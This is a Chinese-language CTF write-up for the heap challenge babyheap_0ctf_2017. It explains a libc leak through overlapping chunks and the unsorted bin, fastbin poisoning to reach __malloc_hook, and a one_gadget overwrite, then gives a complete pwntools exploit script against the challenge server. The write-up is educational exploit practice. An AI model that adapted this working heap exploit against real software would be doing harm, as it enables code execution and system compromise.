babyheap_0ctf_2017
题目链接
这是我第一个堆漏洞题目,详细记录一下。
**所有的内存地址都是死的、不动的,所谓“加入 Allocate 区”**都是形象化表述。
发现这个题有个菜单,显然的堆漏洞题目,但是它的 fill 没有检查 chunk 大小,所以显然可以堆溢出。
首先泄露 libc 基址,因为可以堆溢出,所以我们可以通过 溢出 chunk_0 修改 chunk_1 的 size 值,使 chunk_1 和 chunk_2 表面上合并(Glibc 认为 chunk_1 是一个大小为 0xb0 的大块),这会使 chunk_1 被释放时带着 chunk_2 一起进 unsorted bins(双向链表,fd 指向 main_arena + 88)。
然而 free 函数是直接对着 chunk 的标号释放内存的,所以我们把 chunk_1 free 掉,这使 chunk_1 不可被打印,但是 chunk_2 是可以打印的在 unsorted bins 的数据。
这时我们通过 allocate 在巨大的 chunk_1 上切割掉原本的 chunk_1 大小(复活 chunk_1),其 fd 指针刚好重写到原本 chunk_2 的 user_data 部分,这就可以打印出 chunk_2 的 fd 指针。
(注意:chunk_1 + chunk_2 至少要等于 0x80 防止掉入 fastbins,要设 chunk_3 防止掉到 TOP chunk)
main_arena+88 到 __malloc_hook 的偏移固定为 -0x68,而 __malloc_hook 是一个调试函数(glibc 2.34 之前),在执行 malloc 时,会先检测 __malloc_hook 的值,如果 __malloc_hook 的值存在,则执行该地址。
那么我们要把 __malloc_hook 移动到 Allocate 区,这疑似是一个模板,因为 __malloc_hook 在 -0x23 偏移区域附近有 0x7f 可以看作 0x70 的 size,所以可以通过先把 __malloc_hook 塞进 fastbins,然后再把它作为一个伪 chunk malloc 出来。
如何把它放到 fastbins 呢?fastbins 是单向链表,其 fd 指针指向了上一个被释放的 chunk,所以我们可以把 fastbins 的另一个块的 fd 篡改。
(注意:fd 指针在 user_data 区,所以要先把要篡改的 chunk 丢进 fastbins,再堆溢出篡改)
具体来讲,就是申请 chunk_4 和 chunk_5,把 chunk_5 释放丢进 fastbins,然后再 chunk_4 堆溢出,修改 chunk_5 的 fd 指针为 __malloc_hook - 0x23。
接着把 chunk_5 复活,这样 fastbins 就会把 fake fd 指向的 __malloc_hook - 0x23 加入 fastbins。
那么再申请一个 chunk_6 大小为 0x60,这样就会把 __malloc_hook 加入 Allocate 区。
(注意:malloc 要求 fd 指针有要求两个块大小差不多,所以 chunk_5 也要是 0x60 的大小)
最后依旧是固定偏移,__malloc_hook - 0x13 的位置放着其地址,上面填上 one_gagdet,最后 malloc 触发即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
| # written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']
host = "node5.buuoj.cn"
port = 28455
io = remote(host,port)
libc = ELF("./libc-2.23.so")
# io = process("./babyheap_0ctf_2017")
def Allocate(size):
io.recvuntil(b"Command: ")
io.sendline(b"1")
io.recvuntil(b"Size: ")
io.sendline(str(size))
def Fill(index,content):
io.recvuntil(b"Command: ")
io.sendline(b'2')
io.recvuntil(b"Index: ")
io.sendline(str(index))
io.recvuntil(b"Size: ")
io.sendline(str(len(content)))
io.recvuntil(b"Content: ")
io.send(content)
def Free(index):
io.recvuntil(b"Command: ")
io.sendline(b'3')
io.recvuntil(b"Index: ")
io.sendline(str(index))
def Dump(index):
io.recvuntil(b"Command: ")
io.sendline(b'4')
io.recvuntil(b"Index: ")
io.sendline(str(index))
def main():
Allocate(0x10) # index 0
Allocate(0x10) # index 1
Allocate(0x80) # index 2
Allocate(0x10) # index 3 : Guarder of top chunk
payload_1 = b'A'*0x10 + p64(0) + p64(0xB1)
Fill(0,payload_1) # chunk_1 += chunk_2
Free(1)
Allocate(0x10) # Index 1: chunk_1 reborn
Dump(2)
io.recvuntil(b"Content: \n")
leak_data = io.recvn(8)
leak_addr = u64(leak_data)
print("\n[+] Leak main_arena+88 address :",hex(leak_addr))
malloc_hook_addr = leak_addr - 0x68
print("\n[+] Leak malloc hook address :",hex(malloc_hook_addr))
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
print("\n[+] Leak libc base address :",hex(libc_base))
Allocate(0x10) # index 4
Allocate(0x60) # index 5
Free(5)
payload_2 = b'A'*0x10 + p64(0) + p64(0x71) + p64(malloc_hook_addr - 0x23)
Fill(4,payload_2)
Allocate(0x60) # index 5 : chunk_5 reborn
Allocate(0x60) # index 6 : __malloc_hook into Allocate chunk
one_gadget_offset = 0x4526a
one_gadget = libc_base + one_gadget_offset
print("\n[+] Leak one_gadget address :",hex(one_gadget))
payload_3 = b'A'*0x13 + p64(one_gadget)
Fill(6,payload_3)
Allocate(256)
io.interactive()
if __name__ == "__main__":
main()
|